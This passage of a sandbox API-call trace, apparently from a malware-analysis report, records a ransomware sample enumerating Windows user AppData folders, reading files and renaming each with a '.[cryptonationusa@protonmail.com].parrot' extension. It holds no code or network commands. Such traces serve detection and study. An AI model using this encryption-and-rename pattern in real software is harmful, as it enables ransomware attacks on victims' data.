ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.224] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.224] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.224] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1 [0077.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.224] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.224] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.225] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.225] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x4000, lpOverlapped=0x0) returned 1 [0077.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.228] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.231] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.231] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.233] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18388, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x18388, lpOverlapped=0x0) returned 1 [0077.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.236] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.236] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.239] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.242] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.242] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.243] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.243] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1ea08, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1ea08, lpOverlapped=0x0) returned 1 [0077.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.253] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.257] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.263] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.263] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb884940, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb884940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.264] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbb838680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4128, dwReserved0=0x0, dwReserved1=0x0, cFileName="cversions.1.db.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CVERSI~1.PAR")) returned 1 [0077.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0077.265] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.265] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.265] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.265] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.265] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.265] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x30db3250, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl", cAlternateFileName="EXPLOR~2.ETL")) returned 1 [0077.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0077.266] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.266] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.268] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.269] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x6000, lpOverlapped=0x0) returned 1 [0077.269] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.271] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.272] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.275] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.275] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0077.277] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.277] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x4000, lpOverlapped=0x0) returned 1 [0077.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.278] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.278] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.284] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.285] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb8aaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb8aaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.286] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbb8aaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6128, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXPLOR~1.PAR")) returned 1 [0077.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0077.286] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.286] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.286] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.287] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.287] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0077.287] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.287] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0077.287] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.287] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.287] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.287] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0077.287] lstrcmpW (lpString1="History.IE5", lpString2=".") returned 1 [0077.287] lstrcmpW (lpString1="History.IE5", lpString2="..") returned 1 [0077.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6aee70 [0077.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5e9ca0 [0077.288] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.288] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.288] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.289] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0077.289] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb29b09d0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0077.289] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1 [0077.289] lstrcmpW (lpString1="MSHist012020010820200109", lpString2=".") returned 1 [0077.289] lstrcmpW (lpString1="MSHist012020010820200109", lpString2="..") returned 1 [0077.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7fd8 [0077.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aad70 [0077.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68bc38 [0077.290] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.290] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.290] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa1f2acd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa1f2acd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.290] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.290] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.290] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa1f2acd0, ftCreationTime.dwHighDateTime=0x1d5c60a, 